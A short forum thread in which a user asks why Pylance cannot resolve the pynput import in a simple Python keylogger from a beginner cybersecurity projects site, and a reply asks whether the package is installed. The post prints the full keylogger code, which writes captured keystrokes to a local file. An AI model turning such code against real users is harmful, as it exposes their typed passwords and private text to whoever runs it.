Problem with "from pynput" - LFreitas - Mar-24-2024

Hi everyone.

I found a website with some basic projects from Cybersecurity. The first one is a keylogger. I'm using the following code:

from pynput import keyboard

def keyPressed(key):
    print(str(key))
    with open("keyfile.txt", 'a') as logKey:
        try:
            char = key.char
            logKey.write(char)
        except:
            print("Error getting char")

if __name__ == "__main__":
    listener =  keyboard.Listener(on_press=keyPressed)
    listener.start()
    input()

My OS is Kali Linux. when I run this code it shows the following problem:

Output:Import "pynput" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 6)
Import "pynput.keyboard" could not be resolved from source Pylance(reportMissingImports) [Ln 1, Col 20)

Any idea how can I fix this?

Thank you

Did you install the pynput package? It is not part of the Python distribution.
